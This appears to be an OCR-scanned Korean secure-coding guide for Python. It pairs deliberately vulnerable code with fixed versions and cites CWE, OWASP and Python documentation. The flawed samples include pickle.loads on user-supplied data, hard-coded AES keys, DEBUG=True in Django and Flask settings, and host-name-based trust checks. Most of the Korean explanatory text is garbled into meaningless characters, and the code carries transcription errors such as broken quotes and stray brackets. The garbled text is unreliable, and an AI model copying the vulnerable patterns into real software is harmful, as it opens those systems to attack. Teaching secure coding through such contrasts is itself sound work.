23: encrypted_data = base64.b64encode(cipher_aes.encrypt(pad(plain_text.encode(), 32)))

24 return encrypted_data.decode('ASCII’)

Ol2lete 2 Aol Z=IO0| WEXO| =t ChEH| SAGH| EEE SIEA| K2 X2| 225 F7I6H0F

L=
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N

import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

static_keys=|
{key' 1 b'\xb9J\xfd\xa9\xd2\xefD\x0b\x7f\xb2\xbcy\x9c\xf7\x9c',
v b'\xf1BZ\x06\x03TP\xd1\x8a\xad"\xdc\xc3\x08\x88\xda'},
{key' 1 b'Z\x013.:\xd4u3~\xb6TS(\x08\xcc\xfc',
v 1 b'\xala=:\xba\xfczv]\xca\x83\x9485\x14\x171,

@ ® e F @ H @I

12:  def encryption(key_id, plain_text):
13: static_key = {key':b'0000000000000000', 'iv':b'0000000000000000}

14:

16 try:

16: static_key = static_keys[key_id]

17: except IndexError:

18: # key MEl Z 23 LM A| HEC=Z AUS3 7|8 HHol=E HH

19: static_key = {key': secrets.token_bytes(16), 'iv": secrets.token_bytes(16)}
20: static_keys.append(static_key)

21:

22: cipher_aes = AES.new(static_key[key'],AES.MODE_CBC,static_key['iv])
23: encrypted_data = base64.b64encode(cipher_aes.encrypt(pad(plain_text.encode(), 32)))
24: return encrypted_data.decode('ASCII')

gt Xz

@® CWE-390: Detection of Error Condition Without Action, MITRE,
https://cwe.mitre.org/data/definitions/390.html

@ Errors and Exceptions, Python Software Foundation,
https://docs.python.org/3/tutorial/errors.html

@ Built-in Exceptions, Python Software Foundation,
https://docs.python.org/3/library/exceptions.html
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3. AT Y A

H
Hu
.
i
1>
02
o
=2
oot
e
10
my
=
=y
=
=
El
A
|l
rot
_H
i
=
ﬁ
0*°|'
i
N
e
H.IIO
o?

2otA ZAF oKl

U= tiehle 2E g0 Z2UUS ZARHOF ottt 20| AL A=3ME ARIX| HAkstLL, o2

3

ME|E AEdts B0 YRt tlel X2| i AR ol XS ™ottt
Ct. IE0)X|
LS GilRl= Crfet o7t 2 + ASUE =-o6tal et 02 X2 ojelyad mE XEst

=
ZX[7h BEXFot AE 20 Z=L.

—

import sys

def get_content():
try:
f = open(myfile.txt)
s = f.readline()
i = int(s.strip())
# GlAX2E

\
# ZHL ZdE 4~ AT

AT
ton
ot
>
0
alo
2
H1
OE
?n

POt ABot0] O7]x| B2

—

except:

= 82 © @ 5 @ g B @i

—

print("Unexpected error ")

CIE2 2 7ttt QIS MiEstet = Oleld&ol M2t XMetet xf2(st HAIE 20 =0
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N

def get_content():
try:
f = open(myfile.txt)
s = f.readline()

i = int(s.strip())

# A > A= 2R SR =M HHA 02 Xz

o
a

except FileNotFoundError:

print("file is not found")

@ ® e F @ H @I

N

except OSError:

N
N

print("cannot open file")

_\
e

except ValueError:

_\
@

print("Could not convert data to an integer.")

gt Xz

® CWE-754: Improper Check for Unusual or Exceptional Conditions, MITRE,
https://cwe.mitre.org/data/definitions/754.html

@ Errors and Exceptions, Python Software Foundation,
https://docs.python.org/3/tutorial /errors.html

@ Built-in Exceptions, Python Software Foundation,
https://docs.python.org/3/library/exceptions.html
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2CR

Etl
El= 2otefHo|t.

Het QF, A(HE2] S)Of XS ek S 20| JHURIF He ~ A= 2F LFRE Q6 RY

1. Null Pointer 9%t X

7L e

© zMl2l 22 Nullz x| "

© OllAK] 28 Null ZQIE|R QIet H[HA AR &

2 ZQIE|(Null Pointer) F&ZE= "UHXO=Z 1 Ax7F E(Nul)O] & & T2ty Sh= 7H8S AEAE

HOIH HEXE S| 82, SFX= 1 242 Lsk= 09

IO |MOjAM= Null pointer dereference?t LAGIX| =Lt MOMOAE Null ZHFI7} AR EX| Lo

[hAl None 7IES ARBSH null 7HFISH 42 Ho| ITt None CHE 910{2] nulldt £ 7158 4

o2

ofX| §4CM NoneO| 0 E= LE @S Fol ok =L

Lt oFH

o

a4y

EH
=

None2 Htgtol= S
= U7| 20| =517

ZASI0] A 282
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Ct. ZE0IA|
oMo ZIHE AZotRl= BEXITH CIO|E|0f CHet MESH HAS +oHK| BE B9 Null pointer2t

E
AR None %t EX 2FE H ULY.

w
1+

1 import os

2.  from django.shortcuts import render

3: from xml.sax import make_parser

4:  from xml.sax.handler import feature_namespaces
5}

6: def parse_xml(request):

7: filename = request.POST.get(filename’)

8: # filename?l None M3IE SIX| 240} Of2f LM 7ts
9: if (filename.count(.’) » 0):

10: name, ext = os.path.splitext(filename)

11: else:

12: ext ="

13

14: if ext == ".xml"

1155 parser = make_parser()

16: parser.setFeature(feature_namespaces, True)
17: handler = Handler()

18: parser.setContentHandler(handler)

19: parser.parse(filename)
20: result = handler.root
21:
22: return render(request, "/success.html’, {"result": result})

YHESHIXA ot= AHEE 3F Mol= $EAl HAI7F NoneO| OFIX| ZHESHOF

r

ol

-

[
.
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1 import os

2:  from django.shortcuts import render

3:  from xml.sax import make_parser

4:  from xml.sax.handler import feature_namespaces
5%

6: def parse_xml(request):

7: filename = request.POST.get(filename’)

8: # filenameO| None 2IX| =

9: if filename is None or filename.strip() == "
10: return render(request, "/error.html’, {"error": "M 00| UELICL"D)
11:

12:if (filename.count(.) ) 0):

13: name, ext = os.path.splitext(filename)

14: else:

(155 ext ="

16:

17: if ext == ".xml"

18: parser = make_parser()

19: parser.setFeature(feature_namespaces, True)
20: handler = Handler()
21: parser.setContentHandler(handler)
22: parser.parse(filename)
23 result = handler.root
24
255 return render(request, "/success.html”, {"result": result})

gt Xz

@® CWE-476: NULL Pointer Dereference, MITRE,
https://cwe.mitre.org/data/definitions/476.html

@ Null Dereference, OWASP,
https://owasp.org/www-community/vulnerabilities/Null_Dereference

@ Built-in Constants, Python Software Foundation,
https://docs.python.org/3/library/constants.html?#None
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2. SHFSH XA oKl

7L e

22|

variable a
variable b

variable ¢

H=2|

ArsH 12| paqa M AR X
</> —}E = variable ¢ ;;;alé()ﬂ,g}otﬁia Bt
16 =3 - avVim— o
HEJEH B

20

24

OZ 2ol Xt O|E S g e MY AEINOpen File Descriptor), & H22|(Heap Memory),

OII

Z(Socket) E2 &

r

tot X+OICE. Of2fet NS &F HOF AFES OFX[AL Of Ol AIESHA| B= BR0l=

LS

ESA
MAFo| Fratolof of=t|, Z2O @F E= OH=Z AME0| B AHES YeoHK| Zot= 30 27t &

Ct. IE0)X|

LIE2 try 72 Wo & 4% § 277t Zde F2, close() HAEF HAEIX] Q0L AL XH0]
2K = ERE EH EO.

oT=
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QHSIX| 42 IE OfA|
1:  def get_config():
2 lines = None
3 try:
4 f = open('config.cfg’)
55 lines = f.readlines()
6: # ol LM o IHY
7 raise Exception("Throwing the exception!")
8: # try HOIN st X2l gtel(close)=l7| HOf
9: # 0127h LliotH SFE XEO0| AARIO| Hrete|X] 21
10: f.close()
11: return lines
12: except Exception as e:
13:
14: return "
y
0|2l 22H0] LMt et Z2E [, ¢2e] U 0fRet HEel0| 2y HAE= finally SZ0IM EF
W2 D= AHES Hetelor ottt
QHMSH FE OfA|
1:  def get_config():
2: lines = None
3: try:
4: f = open('config.cfg’)
b lines = f.readlines()
6: # 0l LM o IHY
7: raise Exception("Throwing the exception!")
8: except Exception as e:
9:
10: finally:
11: # try HOIN st X2
12: # finally HOIIM AIARIO| Br2tS SHOF SHCE
13: f.close()
14: return lines
| 4
CHE 92 with 22 AIE6H IYUS XM2lot= WRHOZ, with 2 50| 2 I AsSC2 MY XS
Bretoh= OJAICE O|EA| ZHd5HH withE el =0 o7t WistHete St M E717t BRELC
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10 # with HS HEHLIZ Of £ AAR0| gret
2. with open(config.cfg’) as f:
3: print(f.read())

gt &A=

® CWE-404: Improper Resource Shutdown or Release, MITRE,
https://cwe.mitre.org/data/definitions/404.html

@ Unreleased Resource, OWASP,
https://owasp.org/www-community/vulnerabilities/Unreleased_Resource

@ The With statement, Python Software Foundation,
https://docs.python.org/3/reference/compound_stmts.html#grammar-token—python-grammar-with_stmt
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3. A1ZIg & Y= HIOIEC AXIFY

ZA5(Serialization)= T2 10N £ S2HAC| SHIY QUAHA HEHS CHE Mz M| 2f5H 2229
QAABA YHE HIO|E AEROZ SAfol= HYLZ, HEZY0A H-ET A= AFQ SEE 2=

Mo MEZ MFotALE =4l 0| MESHA EC.

J

Z2lEsHDeserialization)= B HALOZ HIO|L{ 2| Dt(Binary File) O|Lt HIO|JE AEZ(Byte Stream)
OZRH My Fx2 =ok= 1PY0IC O] mf, SMXZL HERIE 0|2 2EHtE HEE LKA

>

.I

r

ol TN AR & HOJE Fi AYE AEYS TNE 4 U= PP M 4 gl RaR
A
nn

o,

0 7
724

ro
ro
o
rio

Z 3C MY, MHA 78 37 50| By

IO|MOM = pickle 2ES Sall X 3Hpickle) ¥ FEE3Hunpickle)E +8& 4= ULE. pickle ZE2
HO|Ef HZ0f CHSH T 2P0l 97| W20 Qo] FEE Mlish= 20l pickle CIO|EE FA4E 4
U0| pickle2 AR FXIE3) 5H= AR hmacQZ H|O|E{0f] MHEIHLE, json ZES AIRSH= A 13

oOF SiCt.

-

Z7|tEX] 2 A HE2E] FHO| Hye AOUOS L YoM theSAl S 424 + AL A2
O e0lM AIEEIUE WES Eetotal AL SHAI= Ol2{et A™HE ALE50 HIZ2|0 MEEO A=
U AU BF TS A + AN 2E HLE AME HO| UEA| SHIE 27| 2tE LIEZEN 023t
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_'rr

oix/zet 5fX| QTS S8 D2 IUS THAICL DY WY E= 50 FH Hs A
= P2, FAB SN S0 IS E7I5HD A S0 S SHelsto] HojEL)

=
HSSHOF SICt. =, ME|E = U= HOIH2| MBS 2lof HAZES} theQ HIO|E7H ARHO| HEE

Ct. IE0)X|

ClE OiFl= M2 + Gl= MEANZERH i 22 IES FXEs! ot =0, 012 22 F== JHEATL

ET L—1

O|=5HK| e Qo] FC Aoz O|0{E 2 ULt

10 import pickle
2. from django.shortcuts import render
3:
4:  def load_user_object(request):
5 # MEXZEE YA A = gi= HOHE FAHst
6: pickled_userinfo = pickle.dump(request.POST.get('userinfo', ")
7: # SxIF3Kunpickle)
8: user_obj = pickle.loads(pickled_userinfo)
9: return render(request, '/load user_obi.html’, {'obi"user obi})
Ofzlf Oz AFBAIZRE! MEH2 HI0|EIE HMACS 0|8310 QNS AIBXIZRE 2 QUK HES &

ox™st ot UL,

ol
rir

)

4% JSONzt &

rio

ot me SAE S| OFMSH XI5}

O] sioll= FXZEatE C0jE £ 22U ER=Z
7
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1: import hmac

2. import hashlib

3. import pickle

4:  from django.shortcuts import render

5%

6: def load_user_object(request):

7: # IO HZRE =I5k 2ot ohAlgt

8: hashed_pickle = request.POST.get("hashed_pickle", ")

9:

10: # MEXZEE YHE2 HO|HE EH3Hpickle)

11: pickled_userinfo = pickle.dumps(request.POST.get("userinfo’, "))

12:

13: # HVAC 32 flet H|Z7|= M4

14: m = hmac.new(key="secret_key".encode("utf-8"), digestmod=hashlib.sha512)
16

16: # MEeE AMEA YHUS oY

17: m.update(pickled_userinfo)

18:

19: # MR SHA|Zk(hashed_pickle)t 23t C|0|E(userinfo)2| SHAIZLS H|uWotH HS
20: if hmac.compare_digest(str(m.digest()), hashed_pickle):

21: user_obj = pickle.loads(pickled_userinfo)

22: return render(request, "/load_user_obj.html", {"obj": user_obj})

23 else:

24: return render(request, "/error.html", {"error": "MZ/E £ Q= HIO|HULICE"}

gt Xz

@® CWE-502: Deserialization of Untrusted Data, MITRE,
https://cwe.mitre.org/data/definitions/502.html

@ Deserialization Cheat Sheet, OWASP,
https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.htm|

® Python object serialization, Python Software Foundation,
https://docs.python.org/3/library/pickle.html
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H2 25267 WAL B2 ASTORN WGH OO Y-S,
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7L e

<> class UserDescription:
N

| usernome I

E def get_user_profile():

user_name=

Share saved data

<I>
—J request.GET.get('name’.”)

OHE AZE 2HH0IM= =E(Singleton) ZiM| BEO| ZXZXZ4(Race Condition)0| 4t 4= ULt [Mf2tA,
[} AYE BHEOIME MBS XS Mol B47} THEX| YES TS M6 M2 2 MMM
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HOIES ZRSK| =S 8o} it
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Ct. 2O
O AYE 2HE0M TopMel FHA Has AYE ZH M= SRotA S0 SHA Ha0 2s &E9e
42 Mz OE MM ZHf H0IE7t SRE0 Q=5HK| 42 H|OIE7t MEE £+ ULt
OFHIIX| 942 TE OfA
1:  from django.shortcuts import render
2:
3: class UserDescription:
4: user_name = "
[oF
6: def get_user_profile(self):
7: result = self.get_user_discription(UserDescription.user_name)
8 L.
9 return result
10:
11: def show_user_profile(self, request):
12: # A= OE MM SREE 440]7] MR0| HEAYE
13: # SZ0IM SREAX QLOMOF & AEES AEBolke 49
14: # OE AYE NMO| Qo HOIE7F &8 & Tt
(53 UserDescription.user_name = request.POST.get(‘name’, )
16: self.user_profile = self.get_user_profile()
17:
18: return render(request, 'profile.html’, {'profile"self.user profile})
y

SRt SAE Has QARA HEZ MOIGHH MM 7Hf SREX| SAEE
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1: from django.shortcuts import render

2:

3: class UserDescription:

4: def get_user_profile(self):

B result = self.get_user_discription(self.user_name)

6: ...

Vi return result

8:

9: def show_user_profile(self, name):

10: # QABIA Haz AMEoll AYE 7F SREX| EEZE ottt
11: self.user_name = request.POST.get(‘name’, )

12: self.user_profile = self.get_user_profile()

13:

14: return render(request, 'profile.html’, {'profile":self.user_profile})

gt Xz

(® CWE-488: Exposure of Data Element to Wrong Session, MITRE,
https://cwe.mitre.org/data/definitions/488.html

@ CWE-543: Use of Singleton Pattern Without Synchronization in a Multithreaded Context, MITRE,
https://cwe.mitre.org/data/definitions/543.html

@ The global statement, Python Software Foundation,
https://docs.python.org/3/reference/simple_stmts.html#global
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2. HIALIX] %1 &2 U/ 3=

7L e

TS 0| ARSI HPAGHOF Ik Ll ASE MY SO UUE YE Fi

o

O =502 M=

= —1—

LS

OEGK| Q2 AIAE HIOIZ 00K 4 Qi HEES D S 4 UCH T M TSI AT M2

HEE 22, SR HE 1EE RelotHL Aotk 2 E2 =2 00FE 4 AT

Django {3, Flask ZUYI= MY +F0|AM DEBUG REE AHEY & ULt DEBUG ZEE

AtEotHE E2tRX0IM oo mo|M FES Hlst = U MOPMOIM 2ot = 2RIt FHE 2

0x

=29 0| ALt OS2(AH0MS HHE MO BtEA| DEBUG ZEE H|Zst SHOF SiCf.

Lt QS 27

o

ATEQIO BT X WIEA| LI TS Sol U AFBICL Dijango ZHYAI ZS HOf 20K

al

DEBUG ZEZE H|&M3l 6l2{H settings.py MM ANS 5110 Flask T AUYATE app_run() Fo|

debug = FalseZ &XstH EICt,
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Ct. IE0)X|

CtS2 Djangol| OIS0 ME LIYQ! settings.py It GIAIZ, i Al AHEE DEBUG &40| Truez2
-EN AN 2 LF9| 0| U,

7h Django G|

OLT5}X]

1:  from django.urls import reverse_lazy
2.  from django.utils.text import format_lazy
3:
4: DEBUG = True
[oF
6: ROOT_URLCONF = 'test.urls'
7. SITE_ID = 1
8:
9: DATABASES = {
10: ‘default” {
11: 'ENGINE" 'django.db.backends.sqlite3’,
12: ‘NAME": “memory:’,
13: 1
14: '}
| 4
JHLO| Bt AATEE HIE H 2EY ZL0= HtEA| DEBUG S4S False2 HAGHOF SHTY.
QHMSH FE OfA|
1: from django.urls import reverse_lazy
2. from django.utils.text import format_lazy
3:
4: DEBUG = False
[oF
6: ROOT_URLCONF = 'test.urls'
7. SITE_ID = 1
8:
9: DATABASES = {
10: ‘default” {
11: 'ENGINE" 'django.db.backends.sqlite3’,
12: ‘NAME": "memory:’,
13: 1
14: '}
| 4
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L} Flask O H|

Ct22 Flaskel OHMZ, debug REJ} TrueZ MNE0] HE 59| &0| ULt

OHHSHX| 92 T OfAl
1: from flask import Flask
2:
3: app = Flask(__name__)
4: # OH1 2E &% @8]
5. app.debug = True
6:
7:  @app.route('/)
8: def hello_world():
9: return 'Hello World!'
10:
11: if _name__ == "'_main__"
12: app.run()
13: # OO 2= 45 22
14: app.run(debug=True)
y
OR7HR|Z, I 0| Bt AATFES HiE 3! 2 Al BIEA| debug SME FalseZ HHHOHOF BTt
QHMSH FE OfA|
1: from flask import Flask
2:
3: app = Flask(__name__)
4. app.debug = False
[oF
6:  @app.route('/’)
7. def hello_world():
8: return ‘Hello World!"
9:
10: if _name__ == "'__main__"
11: app.run()
12:
13: app.run(debug=False)
| 4
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gt Xz

(® CWE-489: Active Debug Code, MITRE,
https://cwe.mitre.org/data/definitions/489.html

@ Settings, Django Software Foundation,
https://docs.djangoproject.com/en/3.2/ref/settings/#debug

@ Debug Mode, Flask,
https://flask.palletsprojects.com/en/2.0.x/quickstart/#debug-mode
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3. Public HIAEZSH Bk Private HHE

7L e

Code: Public

@ uilol 4
Private array

023

=2
2
A

if]

oo | W2 E';'AI 401 private MQ10| QICt. SIX|Tt CHEEO| MO|M FEJ} 2= FEIOZ 0|2 o &
(0d:__spam)2 A|ZSHH private 2 XM2|EIC} publicQZ MU HASOA HES HiststH i HiE O
EHX K7t 9I—‘='r01| SME[0 F0A HIE Tt A & HF0| 7HSSHRICE 025t {42 HHE 2Tt

OfL|2t A 7HsBHmutable) B ZHX|0f SHEEICT,

- HAl 2
public attribute, methode 7|2XQZ public
tect attribute, method 20 _(single underscore)2 £0M HEA| &
protec MH| HOF HCHs EEY
attribute, method 20l _ (double underscore)S £0{A EA| &
private oM {1 WZ22(hame mangling) 22 private HHO| _class__member2 ™22 7+s5HX| Tt

BIZGHR 28.

HAER WHBISIK| X2 SICt private HIZO CHSH ZAHES

private2 MRE BES publicQ= MRUE 2 =
HISISIEE 5l HiO| A0 CHSHAI= clone() HAEE Sl 2AME FAE MASIEE M private MO
HiE 2t A £40 Dot Q=X L2 ™S WIS, Drof HiEO| |ATJt String EtY St 20| HHO|
EIX| o= AR(mmutable)dll= private HIEO| EAMES QST 0|2 SISHSIEE RMMSHY,
Ct. ICofH|

MBI 0|Z UHEISHE public HASE ARB3H IAIS B0 ZLt 0] #S
MY 4 U= SAHO| MBI

Lt OlXl= private H4E
X 2

QFUA S2HA LHO| SAHKN U= private HIE 20
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class UserObj:
__private_variable = []
def __init__(self):

pass

# private H{€2 2|E5= public HIAES Aot 4L F|ofst
def get_private_member(self):
return self.__private_variable

Ofz Oidl= Liet Q59| HiHO| M2 HEE= A2 oYsH| ¢ol [[]= M2 ZHE WEsH A4S
HEststT QIC)

=0

class UserObj:
__private_variable = []
def __init__(self):
pass

# private HIES Btetsl= 42 []E AISO0 2t LiE
# HIEO| M2 FHEEX| LESF oi0f ST
def get_private_member(self):

return self.__private_variablel[:]

gt &A=

@® CWE-495: Private Data Structure Returned From A Public Method, MITRE,
https://cwe.mitre.org/data/definitions/495.html

@ Do not return references to private mutable class members, CERT,
https://wiki.sei.cmu.edu/confluence/display/java/OBJ05-J.+Do+not+return+references+to+private+mutable

+classtmembers

® Shallow and deep copy operations, Python Software Foundation,
https://docs.python.org/3/library/copy.html
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4. Private HHE0ll Public HIOIEH &©Z

7L e

Private array

@ ciloje] HA ? Public method

Oz2

publicQ= MAE MHAZ9| 2RIt privateZ HAE BB MYEH private HIES AR0HA HZot0
HE +Hd A S8 HEF0| THSHEIC.

public® HAE9| QXE private 2 MAUE B0 XM YoHK| HES ST ABAt HEet U=

SolilA LIR0M private atE HASHA= ¢ EH, EQot FR BEO| QAHA M2 FYOBiAL, 25t
IS0t HMEE o Y& RS HEst = HEaHof ottt

Ct. ZE0IA|
LS M= __E OIEaiA To[Mo| LT HHES ddot QR &t
OIAE 20 Z=Ct. 0] 32 53 g Efol| M2t AR0M private HHE

class UserObj:
__private_variable = []
def __init__(self):
pass

# private HIZO 25 Zt2 HIE St= public HAEE ARESH=

# A [oF5iCt

def set_private_member(self, input_list):
self.__private_variable = input_list
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Oteff OfiMlE LHEQE ROl HHEO| MZ HZE= AS GYsH| 2ot [12 M22 HHE Yd5te %t
CHRJSte ALt

mjo

class UserObj:
def __init_ (self):
self.__privateVariable = ]

# private HIZO| 28 S HIZ iYstke 22 [[1E AEdIo
# Qe ROl H{YHO| M2 RXEX| UTE GHOf STt

def set_private_member(self, input_list):

@®F2T L=

self.__privateVariable = input_list[:]

gt Xz

® CWE-496: Public Data Assigned to Private Array-Typed Field, MITRE,
https://cwe.mitre.org/data/definitions/496.html

@ Shallow and deep copy operations, Python Software Foundation,
https://docs.python.org/3/library/copy.html

@ Private Variables, Python Software Foundation,
https://docs.python.org/3/tutorial/classes.html#private-variables
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NIE=g APl 28

Q= ALE0]| Hioh=s UHOZ APIE AFSSIALE, 22101 F2feh APIS ARZSI0 &S & U= HOIFHO|L

1. DNS lookupOil =3t HotA N

7L e

@D simE HA0|ER ¥
Socket Open to0 192.108.1.1

9| ME S ip=192.168.1.1

www.bank.kr .

2% ¥192108.1.1 ——p
® a:www.bank.kr? @

& A:iP=192.168.1.1 Root DNS

PS ’ ¢ © A:<krDNS>
G:www.bank kr? - p—— O a:www.bank.kr? s

— >
 — | <
D O A:<bank.kr DNS>
Q:A:iP=10.10.10.10 kr DNS

DNS FHA| M
T | O a:www.bank.kr?
} —

A:iP-10.10.10.10

bank_kr DNS

SH
=]

[i2-}
0z
I
2]
s

rlo

www.bank.kr
XA ¢10.10.10.10

ob
Ral

SAX7L DNS AEZIE £ £ U202 THIHN AZE0M 2AAHRIS X H2 SH 5)2
DZOfOF ottt 2tef, 2 DNS AMHO| FHAIZF SHXIO| ol LB EH S&O0[2HH, ASAIet £ At
HEXT EHO| SAXE HARoI=E & = ATt L3 SAXL OIX| S =0 &8t MHQl ZXEH

Y+ UL

N
1o

r
im

SHOrAFNM THIHS O0|E¢8t DNS lookupS ofk| HEE
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Ct. ZE0IA|
ChE2l s =HRIES Sl

5
EXISHA A 0]2{5 HOt MAES

1. def is_trust(host_domain_name):

2 trusted = False

3 trusted_host = "trust.example.com"

4. # SAX0| 2ol Helikl= MHC| DNSIt HEE + b=
5 # QIMGEX| QLCk
6

7

8

if trusted_host == host_name:
trusted = True
return trusted

b

2
i

import socket

def is_trust(host_domain_name):
trusted = False
trusted_ip = "192.168.10.7¢
# M M2 P FAE H|WSIH DNS HZAO S
dns_resolved_ip = socket.gethostbyname(host_domain_name)

if trusted_ip == dns_resolved_ip:
trusted = True

ST RO@®F2T LR 2

= =

return trusted

gt Xz

(® CWE-350: Reliance on Reverse DNS Resolution for a Security—Critical Action, MITRE,
https://cwe.mitre.org/data/definitions/350.html

@ Socket, Python Software Foundation,
https://docs.python.org/3/library/socket.html
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Python AIROZEE JH0I=

WISy 3T HOotoRY HIAH J|E

1. 45UI0IH A5 X HH

e Hotory] &l
| sol 4 SQL MoI22 44 O AZEX QS o8 YAUS 5185101 AOIKOI Ue|20| HaTsst
HHd

HOokx]

Z2427} o SR SEERN)2 e WY 4 20 22N BFEK 4E o
- YYUS o483 B

il

=
o

S

|AEII xf.e:] x-l:uodg

Hi

X0l S E2 o oolHl B9t Jkse morery

AEXA HEtRXMo| ABEX| $2 AR U™HIUS §
— HQtorH

2IAN HHOE WHY I ABEX| A2 AT UHUS 385N LAXQ HHOI A
Jtsst Hotory

Qlpiet M I QZE THelol SHYRE 5 MIUHA Ci3t 259101 TY YZES sisl0 30| TH5E oty
o MESIX| 2= URL  URL 33 M40 ASEX g2 A2 222tz 585101 Aoisiel MOER X5 B4 JHset
FAZ NSHS A4Z 2oy
2XMHSE XML - = 5 . =
8 gm o ax Qo2 XHE XML SIHA 3t HEst 25 g0 XS 5185101 30| THsE Botory
9 XML 419 XQuery, XPath HOI2S N8 1 ZSEX| QS A2 Y2AYS 58510 el WelRo|

Al JHs5t HOMoFK

LDAP ZHES 448 If ABEX §U2 2F LHUS S50 Ao HHOIL 4
Jtsth Hotord

AR HEtR MO ABEX| H2 2R YUS 51850 MEX 2019 ofX|ets FHGt
TARD} Ol W A JhsE Hotory

MY 2t M2|El= Q¥ ASEA ¢

5} 7L} HESH= HOIoFX

=

11 FZANOIE F Y=

12 MHAROIE 2F Y=

R — HTTP SESICI0l HY2XHCROILE LF)7H Z3HE ASEIX| o2 9| 22igts 518510] ool
°=== HQl FEJH Mal JH5s Botory
. HAE a0 HAE 0| S B4 2 IS HolLt ZRIM0| o)7|X| e S Jhsd
= g Ton_T = BHA oL OT A OTlE KA S
14 ¥y owERe oo
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HS Rl oy
15 BOIS T AZ HeUIS(@E, Heol 5) 2Bl ASEA 2L AR YAUS SiZ5l0 HAUTISE 28l
HE BRI Qg Hetory
16 M22| B QUERL HZ2| MHo| AARLS HolM HR2IZS AL KESI0 017|%] 2 ZIpt LSt Botory
17 oy aa arey  StrformatS B AEY HOisR0 ASEIR 42 AR YAYUS S1SGH01 WSt HotoH
T TR eI AEY: -EY0M AL HEIS XHGFE 2XIY

S EHOLOFX Sl
| HEs s g ZOMH(ZENE, HOUNE, OEHE 5)E MHS Q50| IU(EL WY) JHsst
52 7|5 88 OO
2 BEXIS QI7} ZQXF0| I mf MG K07 0| HIQIZERIY 0| JHsEt HOtoRY
ZQ3t XH0| CHst o N e ] }
3 mon ae am ZOXIY0| MESH M2 IS HOI5HK| U0t SQHEI LE-4F JHsSt HOIOHY
BEXE=- - 20
, e ysst ZOHE (2L, HUNE, QSHE 5)0| 7|UMS BEE & o= FUSH 55t U
U2 AR T2ES AR50 HEI} B JHs3t HOtorH
5 orsser oo momw  SRURWANS, JHOIBE ) B Al QB ES NS SUHLS OIBSIAI YL
° TEeme X Al U535} BHX| O MEIL LE THsEH HOtOHY
R — AATCO SQYE(MAYE, A4551| 5)2 2™ TUGI0| AATE QE A SQYEIL
TroE e wEET 7% HHO| Of22 Horop
, BEe ue 7| ot5 3t SO AFREIS 7|9| Z0|7} SEGHK| o40f HIOEQ] 7|LA-FANS HES & gl
20| A2 HOtOrY
g SEoixl a2 AL 4Tt O|E TH5510], BTKII} CHS 42 OJAGHAl A|ARIS 27 7hs3H Hot
L 2 AR ory
o aoist WAUIC 32 HAQE ZSFR(YE, £k, E42X S) 0|& L Z0|7t S26HK| Y0t IIAY ST}
e e L& JHsEt HOropN
10 SEmE MXME SOl D23, 20|22(2], EQ| MAMHO| h3t SEA HE0| MHSIX| 0F ZZXtO|
ThEE e = Olo|M9Q| FEJ} Adll JHssH HOroRM
H X XS} °|5A‘|
e =2 = = _ = =] L
11 %;EM i QZMO| CHEH REA HZ0| MMBIX| o0 LAlGHs HOHOHY
o Oo
1o ASRSIELIAZO XYEE 2744 1D, ASX HHYE S SRBR)S MSA SIECIAZN HYH0] SRBR}
27|12 £5t HELE & b3 Hotory
g THE o0l Zas AATE ZM20| QISNE S AAH ZQMHT} TSHE0] AATE LS A| TQEEE
ANAE FQHE & b3 otk
sE g0 s SEZ AIZ5HK| U1 MME sHA| HOREE ZAXIIL 0/2] AAE 2= HO|2S
4 e A 0185101 SAl B OH Y2 HEE =7tsd Hotor
<] = - - _
e *SE: BHAl M25l7| M RO MAME| HEQl 20|03 Ho|E
15 TEE BA g 3 AATE Eo ASMIAUS DN ZAb 10| CI22E BH0p Msist= A, BZKO| oo
cezc Ol TSI} AlsY JHsSh HOtOHY
g HEE UBNE Q= AT 2 K351 QO ZAXIL gHEMO2 Qlo| Zke 25l AN HstS BIS
Hst 75 X 7hs3t EQtorH
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al
3. ANzt & SH
Mz HOOHA a3
SR - AA A" . . .
T e AN HE| ZE2MA JOM XAES HAGHE AI-D AHESHE A0l 2t 2doks 2otor
S
BREX O MRS o e wo talsiag CErs| S0l SiAts A OlL. HOtoM
2 g gyysa SEZU Q= HOZE AERR HEE E= Mg/t Fo0| 2L LYY -~ U= 2oty
4 oT
4. Oflgxcl
Hz HOOHA a3
1T 2F HAKX BRELE  QRUHAXIL; ARHE AAH LHEZ7F o0 TSt R, DM RVt & 7Kt 2otefy
2 ORNH US £M  AAH QENHS MG p0F D2 HHHK| 5 OIEatA| 42 ME0| W JKss Holr
3 EXESH oeXz2 GlelAtgtEs FXESHA Ma[otK QE5HK| 2 70| Y Tttt 2oty

HZ HOrorA a3
1 Null Pointer S&E  ®i49] Z4 0| Null2!l HHE AH=sH= 2OttH

2 xR X2 A

AE 2zE RS SHEISHK

&2
2

3 GHMIE Xt A HEZZ| S SHME XS AZSH o7[X| 942 2F7} Wiists HOtord
ZI|tE|X| 42 Az =o1=l=L1| OF o= S olO O=TL HIAMEI HOOEX
4 Ha A2 HEE ZTISIGHK] 10 ARSI Of7|X| $E2 F7 LMS= HOroRN
o o
A & gl oto|xMol FEJt ol -+NE ZHsl HO|HE MESt AE Ql0| FZHISHY UMSH= HoterH
== T HA * X5k M2 ME ISt O0|EEAIO =13
5 E||0|E‘|9| g|I—!E.=‘_1§|‘ —|E2|'; —|X'"E;|_o 7|'o°|_E l | 1 E 02
*Ax|Eah: ZHstE H0|EHE ¥ HME S
A
6. =9t
B HotorA &9
@ M Mo Q|5 ) _
SA Ale = X2l MM ol5H Ol oo A\l Eops =5} HOIOFX
1 HIOJE MELs ARE MG s AZLEX| 42 AHZXIOA| NHEHT7L & JtsTt HOtekH
A on »e ) 3
2 DUEMEEEE ouys ge 3CE MDSH 0 QUISIR S AISHOA SRRt E Jlsd Eerer
S
3 Public HIMEZEE  PublicQZE MAE HAZO|AM Private2 MAE HIES Bt8Hreturn)dtH Private HiES| A
BISE Private HIE 20| 220] h:% [0 3HE Private HIEZS AR0N =T 7158t HorH
4 Private HiZ0ll Public Public@Z MU=l H0|E Es HAES| QUXI7} Private2 MU= HEO| HEE™ Private HY
OOy e 2 220N ’“:0}01 +3 7tsst HotokN
7. APl 28
B HotorA &9
1 DNS lookupOf 2l&5t ZHIH SQI(DNS lookup)2E HOIAXME £aigt 1 AoXo=z W DNS HEZ 0|7]X|
HorAY 12 HORRo| LEEE= HOtord
2 FSt APl AtE Flotst S8 AEOHA O7[X| P42 HOMRIHO| LEEE= HOHME
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wrey 201ye

® Developer Economics State of the Developer Nation, 20th Edition
